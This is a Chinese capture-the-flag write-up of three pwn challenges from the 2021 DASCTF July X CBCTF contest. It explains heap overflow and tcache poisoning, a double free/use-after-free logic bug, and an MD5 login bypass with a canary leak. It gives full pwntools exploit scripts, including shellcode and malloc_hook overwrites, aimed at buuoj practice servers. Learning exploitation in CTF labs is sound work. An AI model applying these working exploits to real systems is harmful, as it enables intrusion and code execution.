2021DASCTF实战精英夏令营暨DASCTF July X CBCTF 4th -- WP [pwn]

本文详细介绍了2021DASCTF比赛中涉及的堆溢出、逻辑漏洞和栈溢出等技术,包括EasyHeap的堆溢出利用、realNoOutput的double free与UAF漏洞、old_thing的栈溢出与MD5绕过。通过分析程序逻辑和利用思路,展示了如何在CTF比赛中解决pwn类型题目。

概述

  前天又参加了一次激动人心的比赛,好吧,确实只能说是激动人心,毕竟没有物质回报,好的名次和中将名额总是和自己无缘。废话不多说,直接看wp。
  所有题目和环境都在buuoj上有复现,这里感谢buuoj在我学习ctf过程中提供的做题环境以及时不时搞几场比赛来激励(打击/(ㄒoㄒ)/~~)我努力学习。

EasyHeap

  题目是常规的堆题,64位程序,保护全开,漏洞也算明显,当然对strdup函数功能不熟悉的同学可能需要调试后才能看到存在堆溢出漏洞,这个后面详细说明。另外题目本身采用了沙箱机制,因此无法直接getshell,需要使用orw来打印flag,对沙箱机制不熟悉的同学可以参考这篇文章 – pwn沙箱机制详解
  下面直接分析程序漏洞所在,如下截图所示,漏洞存在于add功能函数里面,我们输入的size并不是实际分配的内存大小,实际分配的内存大小由strdup决定,也就是实际存入buf的字符数量,因此这里存在典型的堆溢出。

Easyheap-1
  有了堆溢出后,利用就比较容易了,考虑本题目所使用的libc为libc-2.27.so。首先,分配不属于tcache块的堆,然后释放,利用堆溢出泄露出libc地址;之后同样利用溢出,采用tcache bin攻击可以将堆块分配到mmap地址0x23330000,这个地址是由程序自身所分配的可写可读可执行内存区域,我们将orw写入到此;最后同样是利用溢出和tcache bin攻击,将malloc_hook处填写为mmap地址0x23330000。最后调用一次add即可完成攻击,打印出flag。完整的Exp如下:

from pwn import *


ld_path = "/home/fanxinli/libc-so/libc-27/ld-2.27.so"
libc_path = "/home/fanxinli/ctf_go/pwn/BUUCTF/PWN_3/libc-2.27.so"
# p = process([ld_path, "./Easyheap"], env={"LD_PRELOAD":libc_path})
# p = process([ld_path, ""])
# p = process("", env={"LD_PRELOAD":libc_path})
# p = process("")
p = remote("node4.buuoj.cn", 29327)

# context.log_level = "debug"

r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
shell = lambda : p.interactive()


def add(size, con):
    sla(">> :\n", "1")
    sla("Size: \n", str(size))
    sa("Content: \n", con)

def free(index):
    sla(">> :\n", "2")
    sla("Index:\n", str(index))

def show(index):
    sla(">> :\n", "3")
    sla("Index:\n", str(index))

def edit(index, con):
    sla(">> :\n", "4")
    sla("Index:\n", str(index))
    sa("Content:\n", con)

# leak libc
add(0x40, "0")             # 0
add(0x420, cyclic(0x420))  # 1
add(0x40, "2")             # 2
add(0x40, cyclic(0x40))    # 3
add(0x40, "4")             # 4
add(0x10, "5")             # 5
free(1)
edit(0, cyclic(0x20))
show(0)
rud("haaa")
info = u64(ru("\x7f").ljust(8, b"\x00"))
print("leak: ", hex(info))
malloc_hook = info-0x70


# tcache bin --> alloc to mmap
mmap = 0x23330000
free(3)
edit(2, cyclic(0x10)+p64(0)+p64(0x51)+p64(mmap))
add(0x40, cyclic(0x40))    # 1
add(0x40, cyclic(0x40))    # 3


# write code to mmap
context(os="linux", arch="amd64")

code = shellcraft.open("flag")
code += shellcraft.read(3, mmap+0x200, 0x50)
code += shellcraft.write(1, mmap+0x200, 0x50)
code = asm(code)
edit(3, code)

# tcache bin --> write mmap to malloc_hook
free(5)
edit(4, cyclic(0x10)+p64(0)+p64(0x21)+p64(malloc_hook))
add(0x10, "a")            # 5
add(0x10, p64(mmap))      # 6
edit(6, p64(mmap))

# attack
add(0x20, "3")

shell()

realNoOutput

  本题也是菜单题,64位程序,RELRO保护没有开,意味着可以改写got表。另外,题目将所有提示信息都使用write函数写到了文件描述符4里面,所以运行程序不会有任何提示信息,做题的时候记得输入之间可以采用sleep来间隔一下,防止输入混乱,习惯就好。
  接下来分析下程序本身,漏洞稍微不是那么明显,算是逻辑漏洞吧,逻辑漏洞造成了堆指针重用,进而引发一系列堆利用漏洞。如下截图所示,部分变量我改了名字,主要是check那里,check函数会检查传入的堆地址是否是一个正常的堆地址(功能实现是通过和程序一开始分配的堆地址作比较,大于等于则返回True)。因此只有check成功,ptr才会被重新赋值;一旦check失败,我们发现free还是会被执行,但此时ptr没有被重新赋值,保存的还是上一次free的堆地址,因此这里存在double free的堆利用。

realNoOutput-1
  按照上面的逻辑继续分析,除了delete功能外,edit和show都存在这样的逻辑漏洞,并且ptr指针都是位于rbp-0x10的位置,即使中间穿插使用add也不会修改rbp-0x10的值。因此这里存在的堆指针重用,结合delete就是double free,结合edit/show就是uaf。
  另外程序本身还存在数组越界的漏洞,结合上图和下图,释放时判断的索引是index < 0 || index > 9,也就是说是可以输入0或者9的,但程序本身留的位置只有8,所以存在数组越界。我们观察heap_size是在heap_arr前面的,因此heap_arr[8]的size会覆盖heap_arr[0],heap_arr[9]的size会覆盖heap_arr[1]。这里利用这个漏洞的话,主要是要绕过check函数前面的if检查,毕竟free后,heap_arr对应的指针是被置空了的。大家可以结合后面的Exp代码注释进行理解。

real-2
  好了,接下来讲解一下漏洞利用过程,由于使用的是libc-2.31.so,所以double free的时候注意改变一下堆块bk指针的内容。利用思路如下,首先也是先泄露libc,由于add的堆块大小有限制,所以先填满一条tcache链,然后再leak libc;之后利用uaf + tcache bin attck可以轻松的将堆块分配到malloc_hook处,并写入one_gadget。当然我们前面也说了,题目本身没有开启got表保护,所以也可以采用改写got表的方式,不过由于题目是开了PIE的,所以改写got表的话还需要泄露code地址,读者可以自行尝试一下。完整的Exp如下:

from pwn import *


ld_path = ""
libc_path = ""
# p = process([ld_path, ""], env={"LD_PRELOAD":libc_path})
# p = process([ld_path, ""])
# p = process("", env={"LD_PRELOAD":libc_path})
# p = process("./realNoOutput")
p = remote("node4.buuoj.cn", 28575)

# context.log_level = "debug"


r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
shell = lambda : p.interactive()


def add(index, size, con):
    sl("1")
    sl(str(index))
    sl(str(size))
    s(con)
    sleep(0.2)

def free(index):
    sl("2")
    sl(str(index))
    sleep(0.2)

def edit(index, con):
    sl("3")
    sl(str(index))
    s(con)
    sleep(0.2)

def show(index):
    sl("4")
    sl(str(index))
    sleep(0.2)


# leak libc
add(0, 0x80, "aaaa")
add(1, 0x80, "a")
free(0)

for i in range(0x6):
    add(8, 0xd0, "a")  # 绕过 if (!heap_arr[v1])
    edit(0, cyclic(0x10))
    free(0)
free(1)
add(9, 0xc0, "a")      # 绕过 if (!heap_arr[v1])
show(1)
info = u64(ru("\x7f").ljust(8, b"\x00"))
print("leak: ", hex(info))


# count
malloc_hook = info-0xf0
libc = ELF("./libc.so.6")
base = malloc_hook-libc.sym["__malloc_hook"]
oneshot = base+0xe6c81
print("oneshot: ", hex(oneshot))


# write oneshot to malloc_hook
add(0, 0x80, "a")
edit(0, p64(malloc_hook))
add(0, 0x80, "a")
add(0, 0x80, p64(oneshot))


# attack
add(0, 0x10, "a")

shell()

old_thing

  这道题在比赛的时候是作为压轴出场的,但其实涉及的知识点并不难,还是栈上的题目,主要考察了md5和canary的知识。64位程序,got表还是可改写的,其余保护全开,不过这道题本身给了后门,所以不存在那些花里胡哨的操作。不过有一说一,这道题绕过md5比较的方式确实是挺可以的😏。
  接下来首先分析下程序的主逻辑,如下截图所示,选项1可以打印buf的内容,选项2可以向buf写入,这里存在明显的栈溢出。说到这里,大家可能都已经想好利用方式了,利用选项2填充一定的长度然后通过选项1可以泄露code地址和canary,再说也给了后门,最后将返回地址覆盖为后门即可。

canary-1
  实际上利用起来也就是这么简单,棘手的是一开始的登录验证,如下截图所示,要想能进入程序主逻辑,得先完成下面的登录验证。下图的md5是我更名后的结果,具体分析的话此处不再详解,可以参考这篇文章 – CTF密码学知识积累
  这里的登录逻辑是用户名为admin,输入的密码经过md5运算后要和s2的字符串相等。当然实际上密码部分不是这样比较的,我们仔细观察一下就会发现md5运算后的结果是存在s1里,而s1只有16个字符大小,刚好可以存储32位16进制数,也就是md5对应的运算结果。所以要想和s2(32个字符,64个16进制数)进行比较势必会将buf也就是输入的用户名一起拉进来,所以真的要想完成这个比较是不可能的,只能绕过。况且用题目所给的值进行md5逆向求解也是解不出来的。

canary-2
  绕过的话,其实也比较简单,注意s变量会根据输入的password长度进行截断,输入0x20长度的字符话会将用于比较的s2开头字符置为00,所以此时我们需要构造md5后开头为00的字符串对,此时s1的开头也就是00,就可以绕过密码比较。利用下面的脚本进行爆破寻找这样的字符串对:

import os
import hashlib


while True:
    md5 = hashlib.md5()
    key = os.urandom(0x20)
    md5.update(key)
    res = md5.hexdigest()
    if res[:2] == "00":
        print("find: ", res, key) 
        break

  这里计算出来的结果不唯一,任取一个即可,之后我们就可以按照上面的思路getshell了。完整的Exp如下:

from pwn import *


# p = process("./canary3")
p = remote("node4.buuoj.cn", 26672)

# context.log_level = "debug"

# login
p.recvuntil("please input username: ")
p.send(b"admin")
p.recvuntil("please input password: ")
pad = b"b\x80\xfd\xfd[b'\xbb$U\xc6\x8fkw[^\x8a3\xb5h\xb4\xfb\xec\xfe\x15\x08\x85\x0e\x17\xb6y\xf3"
p.send(pad)


def show():
    p.recvuntil("3.exit\n")
    p.sendline("1")

def edit(con):
    p.recvuntil("3.exit\n")
    p.sendline("2")
    p.sendafter("your input:\n", con)


# leak code base
pad = cyclic(0x8)
edit(pad)
show()
p.recvuntil("baaa")
info = u64(p.recvuntil("Do", drop=True).ljust(8, b"\x00"))
code_base = info-0xa20
print("base: ", hex(code_base))

b_door = code_base+0x239f

# leak canary
pad = cyclic(0x20-0x7)
edit(pad)
show()
p.recvuntil("aaag")
can = u64(p.recv(7).rjust(8, b"\x00"))
print("canary: ", hex(can))

# ret to back_door
pad = cyclic(0x20-0x8)+p64(can)+cyclic(0x8)
pad += p64(b_door)
edit(pad)

# attack
p.sendline("3")

p.interactive()

总结

不忘初心,砥砺前行!

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值